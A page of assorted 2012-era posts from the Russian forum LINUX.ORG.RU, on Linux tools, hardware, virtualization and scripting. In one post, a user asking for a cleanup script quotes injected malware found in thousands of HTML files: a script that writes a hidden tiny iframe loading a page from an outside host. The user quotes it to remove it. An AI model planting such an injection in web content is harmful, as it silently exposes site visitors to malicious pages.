LINUX.ORG.RU

Избранные сообщения leave

Андроидофон-qwerty

 

Салам аллейкум!

Посоветуйте качественного китайца.

Необходимые условия:

1. Андроид

2. 2 симки

3. QWERTY-клавиатура

4. Можно noname - лишь бы качественный.

5. По-возможности с локализованной клавиатурой.

Нравится вот этот, но не знаю, как он по качеству:

http://www.everbuying.com/product142117.html

le_legioner
()

Существует ли аналог screen для GUI-ных приложений?

Суть в том, что я хочу увидеть открытое уже GUI-приложение, подключившись к компу по ssh -X. Например, открыл gedit, набрал в нём текст, а сохранить забыл, ушёл домой. Есть ли возможность подключится к gedit из дому и сохранить код/текст?

На обеих операционках GNome одной и той же версии, если ето важно.

abr_linux
()

онлайн редактор

 

Онлайн редактор LaTeX на JS с поддержкой совместного редактирования http://writelatex.com/

XVilka
()

Обработка исключительных ситуаций в няшной Сишке

вы мне тут говорили, что Си это хорошо.

Но я не обнаружил в моем компиляторе try.

а бейсик таки поддерживает: ON ERROR GOSUB ....

керниган и ричи, таки не осилили то, что сделали студенты из дармутского колледжа...

а это ведь важнее локальных переменных, да.

Перемещено mono из talks

djenterprise
()

Преднамеренное нарушение правил русского языка — lolwut???

mono, камрад, ты в альтернативной школе русского языка учился?

Ежу понятно, что ядро линакса готово хоть дестопу, хоть к мобилке, хоть к суперкомпьютеру, потому что его пишут профессионалы в рабочее время и за настоящие деньги.

А вот с юзерспейсной обвязкой все намного грустнее: гигабайты кода, порожденные воспаленным мозгом любителей. Самая тяжелая беда с юзерспейсом — приложения спроектированы инопланетным мрачным разумом не для нормальных людей. Самая распространенная проблема — код написан криворукими быдлокодерами, поэтому тормозит, глючит, и память утекает на ровном месте.

Я бы мог накатать портянку о том, как мне приходилось превозмогать и обкостыливать инопланетный линаксовый гуй, но я буду краток: дистрибутивы линакса не будут готовы к десктопу до тех пор, пока не появится коммерческая организация, разрабатывающая Desktop Environment, повернутый к пользователю лицом, а не тем, чем повернуты гномокеды и остальные гиковские икс-монады.

Нафига я это написал? Потому что прочитал, как кто-то советовал кому-то помогать развивать открытые драйвера ати контрибутингом кода. Вот от того, что такое хомячье вместо подъема ВВП, подметания улиц и прочей полезной активности занимается «разработкой ПО в свободное время», индустрия прочно вошла в глубинную жопу и застряла там без возможности выбраться назад.

Лучше бы анастезиологами в свободное время подрабатывали без опыта и образования — все ж полезное дело по борьбе с перенаселением планеты бы совершали.

Ткни-ка пальцем, дружок, где здесь правила Великого и Могучего нарушены?

red_eyed_peguin
()

Вышел первый релиз CRtools, версия 0.1

 crtools, , ,

Группа Ядро Linux

Команда разработчиков OpenVZ объявила о выходе первой версии утилиты для создания контрольных точек приложений Linux и восстановления с них. За год проделана огромная работа, и в настоящий момент CRIU умеет обрабатывать почти все приложения, а в ядре 3.5 уже есть 90% необходимой функциональности. Поддержка контейнеров (в том числе и LXC) тоже не за горами.

>>> Подробности (livejournal.com)

ovzkir
()

Coursera: +12 университетов, сотня новых курсов

 ,

Группа Интернет

We are THRILLED to announce that 12 universities will be joining Coursera.

Серьёзно обновился проект Стэнфордского университета по проведению и публикации в открытый доступ онлайн-курсов от именитых профессоров по IT-дисциплинам (а с недавних пор и не только по ним) Coursera.

К программе присоединились 12 университетов, привнеся новые курсы, например курс по Scala от самого создателя языка.

Старые курсы тоже начинают стартовать по второму кругу. Так, в ближайшее время стартуют сразу два по машинному обучению: от университета Торонто и старый от Стэнфорда.

( читать дальше... )

>>> Подробности (coursera.org)

Kalashnikov
()

The Interrupted Unix FAQ

 

Question/Answer

Sendmail doesn’t…
Fix DNS.

Why don’t my cron jobs…
Use full paths.

tcsh doesn’t…
rehash

glxgears…
Is not a benchmark.

But that wasn’t…
Yes it was.

http://www.wonkity.com/~wblock/docs/html/interrupted.html
:-)

Serg5Markov
()

Gnome Modem Manager

 , , , ,

Представляю вниманию общественности ЛОРа свою разработку - Gnome Modem Manager.

Это приложение представляет собой аналог различным Megafon Internet для Windows. А в отличии от всяких этих Mobile Partner написано не на Java, обладает нормальным GTK интерфейсом (а не пытается делать вид, что автор умнее всех, и рисовать все элементы самостоятельно). И самое главное - вместо своих велосипедов по работы с модемами использует в качестве бэкэнда D-Bus API ModemManager (компонент NetworkManager, который позволяет подключаться через USB модемы).

А это значит:

1) Мне не надо заботится об особенностях конкретных модемов. Меня вообще не волнует что там и как будет управляться. Я лишь дёргаю готовые функции общие для всех GSM-модемов.

2) Моё приложение поддерживает все USB-модемы, которые поддерживает ModemManager. Также добавление новых модемов и исправление багов я полностью перекладываю на плечи авторов ModemManager, а их больше :-)

3) Для многих модемов работать с ним можно даже если соединение через этот модем установлено (обычные программы не могут получить доступ к модему, потому что его файл устройства занят ModemManager).

Возможности:

1) Одновременная работа с несколькими модемами.

2) Получение информации о модеме (модель, драйвер, адрес устройства, уровень сигнала, название оператора, IMEI и т. д.)

3) Чтение СМС из памяти SIM-карты (все входящие попадают туда).

4) Удаление СМС из памяти SIM-карты (можно удалить старые, чтобы не занимали место, ведь размер памяти SIM-карты ограничен).

5) Поддержка USSD-запросов. Ответ на USSD пока нормально не работает, но тут вина странного метода ModemManager для ответа на USSD - оно не возвращает новое сообщение. В итоге ответить можно, но ответ на ответ мы не увидим уже.

Планируется:

1) Создание СМС с возможностью сохранения в памяти SIM-карты, либо сразу отправки.

2) Нормальный USSD-диалог.

3) Выбор кодировки USSD (пока с приёмом нелатинских сообщений всё печально)

4) Уведомление о новых СМС

5) Что-нибудь ещё.

Язык программирования: Vala (в отличии от Си там вменяемая поддержка D-Bus, зато по скорости не хуже)

Лицензия: GPLv2

Тулкит: GTK3 (при желании можно GTK2)

Официальная страничка (есть скриншот и подробное описание со всеми ссылками): http://cpu-fun.ru/projects/gmm (Английский и Русский)

Репозиторий на GitHub: https://github.com/kiv-apple/Gnome-Modem-Manager

Пакет для Arch Linux в AUR: https://aur.archlinux.org/packages.php?ID=54542

PPA для Ubuntu (обновляется раз в сутки, если есть изменения в GIT, так что можете быть уверенными, что у вас самая последняя версия): https://launchpad.net/~gnome-modem-manager-team/ archive/gnome-modem-manager-...

Все вопросы, пожелания, предложения вы можете оставлять в этой теме, на GitHub (issues) или в комментариях на моём сайте (никаких вконтактиков - встроенный модуль Drupal).

Все, кто считает «не нужно», могут сделать вдоль %) Потому что «презентация» на убунтофоруме уже доказала нужность.

P.S.: Было бы не плохо советовать это приложение новичкам, которые задают вопросы типа «как проверить баланс 3г модема в Linux?»

P.P.S.: Не помешает собрать пакеты для других дистрибутивов. Приглашаются все желающие. Могу потом вывесить на сайте ссылки.

KivApple
()

гитарный тюнер

хочу написать гитарный тюнер под линукс. Да, уже есть. Но отстой.

1) Что бы вы хотели от гитарного тюнера, чего сейчас нет? (Если нормальный дизайн, юзабилити, эргономика - опишите что и как хочется. Если фичи - как именно должны работать).

2) какой тюнер используешь ТЫ, и за что ты выбрал именно его?

3) Java(SWT) или Mono(Gtk)? Натив не предлагать. У нас-то оба поделия стоят, а вот что удобней в установке обычному пользователю?

stevejobs
()

Задачка мне не по зубам

Вообщем есть шаблон

<image imageURL="NAME" thumbURL="NAME" linkURL="NAME" linkTarget="NAME" > 
 <caption></caption> "


и текстовый файл с сылками  нужно брать строку из файла и вставлять везде где NAME и  печатать полученый результат в файл,далее следующая строка из файла и снова  вставить вместо NAME 

#!/bin/bash


NAME=`вот тут проблема`


echo  " <image imageURL=\"$NAME\" thumbURL=\"$NAME\" linkURL=\"$NAME\" linkTarget=\"$NAME\" > "
echo  "	 <caption></caption> "



exit 0


Dron
()

Оказывается теперь не нужен офис для генерации писем в рассылку.

 datatool, , mail merge

Наиболе занимающий время элемент генерации писем (например приглашающих учится именно в это учебное заведение :) это тыкание мышкой по всяким формам и вставление полей (так и не знаю можно ли условия в офисах вставлять или только готовить варианты документов).

Да и генерация итогового дакумента с письмами и конвертами неприлично большая уже для нескольких сотен.

Так вот --- теперь оказывается все можно сделать из LaTeX. Причем документ один, поля можно увязывать в условия. На входе csv файл.

http://latex-my.blogspot.com/2012/01/mail-merge-batch-generating-documents.html

psv1967
()

Вирус! Помогите со скриптом, который его удалит!

Здравствуйте!

Меня попросили на дырявой машине удалить вирус! Там во многих тысячах html-файлов помещается такое:

<body><!--c3284d--><script type="text/javascript">
document.write('<iframe src="http://oxsanasiberians.com/downloads/stats.php" name="Twitter" scrolling="auto" frameborder="no" align="center" height="2" width="2"></iframe>');
</script><!--/c3284d-->

В PHP-файлах тоже есть вирус, но немного другой! Я закрыл дырки в системе, всю ночь не спал, поменял все-все-все пароли ко всему. Выяснилось, что вирус внесли по FTP, видимо, пароль протёк, я обнаружил это по логам!

Теперь хочу вылечить все файлы. Подскажите со скриптом, пожалуйста. Я не особый скриптописатель, я ещё только учусь, попробовал удалять через tr - он на спецсимволы ругается! Все «подозрительные» символы заэкранировал с помощью «\» - то же самое! Через sed - тоже ошибка такая:

sed '\<\!\-\-c3284d\-\-\>\<script type=\"text\/javascript\"\>/d' /home/vitaly/public_html/templates/template_X_3_v13/template.html
sed: -e expression #1, char 58: unterminated address regex

Может кто сталкивался с такой бедой? Подскажите, как автоматически почистить тысячи файлов! Просто удалить строки - нельзя, там надо <body> сохранить (оно - не вирус).

xl743
()

AMD Catalyst 12.6 Beta Legacy

 , , , ,

Для Ъ: Сбылась мечта ид^W пускай будет просто мечта и AMD зарелизил бетку Catalyst для Legacy (HD2000/3000/4000) с поддержкой Xorg Server 1.12.

Для !Ъ

daemonpnz
()

chainloading в iso

 ,

Сейчас грузил ISO при помощи GRUB4DOS и GRUB2. В первом всё просто:

    map (hd0,0)/images/debian.iso (hd32)
    map --hook
    root (hd32)
    chainloader (hd32)
    boot
А со вторым сначала также, а в конце немного сложнее. Нужно знать, что внутри у диска, где лежат ядро и initrd и как они называются.
Соответственно в первом варианте управление загрузкой передаётся загрузчику из ISO образа (это даёт всякие ништяки типа красивой картинки и менюшек), а во втором грузится непосредственно линукс из этого образа.
Я попробовал взять лайв дебиана и натравить на него chailoader. В GRUB2 chainloader требует, чтобы параметром ему передали путь к загрузчику. Путь я написал такой: "(loop)/isolinux/isolinux.bin". Но что-то не взлетело (а я и не ожидал, что взлетит, ибо упоминаний о таком способе загрузки ISO не нашёл). GRUB2 сказал "error: invalid signature".
ЧЯДНТ?

CYB3R
()

nginx mem usage

 , ,

Добрый день, товарищи. Столкнулся с проблемой - nginx занимает ~1Gb оперативной памяти при размере конфига ~5MB и ~30K записей server. Вопрос, можно ли как то умерить потребление ОП nginx'ом?

Jam_myaso
()

Полезная фича Proxmox VE 2.1 (для тех, кто не в курсе)

 

Оказывается, в Proxmox VE 2.1 наконец стало возможным задавать последовательность запуска виртуалок!
Я правда не очень понимаю, что Proxmox считает загрузившейся виртуальной машиной: ведь контейнеры OpenVZ по определению стартуют быстрее гибридно или полновиртуализованнных KVM. Тогда, например, если контейнеры VZ зависят от успешной загрузки KVM-машинки, то старт их до KVM'а не поможет: они всё равно обломаются, поскольку когда им уже что-то будет нужно, KVM только начнёт просыпаться, показывая что-нибудь типа «нажмите DEL для входа в BIOS» на консоли.
Но в любом случае фича очень правильная, и если они разовьют простую идею зависимости виртуалок друг от друга, то это сильно укрепит позиции Proxmox по отношению к VMware (всех остальных они итак обошли на три корпуса).

DRVTiny
()

Pip-Boy 3000 на рабочем столе

 , ,

Это мой первый скриншот.
Fluxbox в стиле Pip-Boy 3000 из Fallout 3, если кто не играл то вот http://ru.fallout.wikia.com/wiki/%D0%9F%D0%B8%D0%BF-%D0%91%D0%BE%D0%B9_3000
Остальные скрины
http://storage3.static.itmages.ru/i/12/0313/h_1331658361_6857167_7be48a79e2.png
http://storage4.static.itmages.ru/i/12/0313/h_1331658427_1169135_3943dc499f.png
И видео как это работает
http://www.youtube.com/watch?v=KG7Pvz5l0-8

vors
()

Штатная катастрофа при удалении datastore в vsphere 5.0

 disaster, incident, , набитые шишки

Доброго времени суток.

Надеюсь, кому-нибудь информация пригодится. В vsphere 5.0, по сравнению с предыдущими версиями, имеет одну важную багофичу: типовая процедура по удалению datastore превратилась в типовой инцидент. Нельзя удалять lun на массиве без предварительных хитрый действий.

К чему приведут неправильные действия:

  • esxi'и будут в бесконечном (?) цикле сканировать fc шину в поисках потерянных lun'ов. Несмотря на то что в datastore'ах они не используются.
  • все обращения к storage подсистеме будут виснуть или отваливаться по тайм-ауту
  • из-за предыдущего пункта через некоторое время отвалятся management агенты на esxi'ях. И если вы не сделали предусмотрительно доступ по ssh или через консоль сервера - управление полностью потеряно.
  • При этом ВМ продолжат работать, хоть и с тормозами по IO
  • поможет только жёсткий ребут серверов esxi по питанию.

В тему:

Будьте осторожны

З.Ы. Проблема «отлично» воспроизвелась на esxi 5.0 u1 build 702118 + VC 5.0 u1 build 623373 + MSA P2000 G3

router
()

Кто использует shc?

 , ,

Вообщем то идея компилять шелл хороша в определённых случаях, потестил на паре десятков скриптов вроде ничего, но терзают смутные сомнения что чего то там не то? Кто на грабли наступал?

Dron
()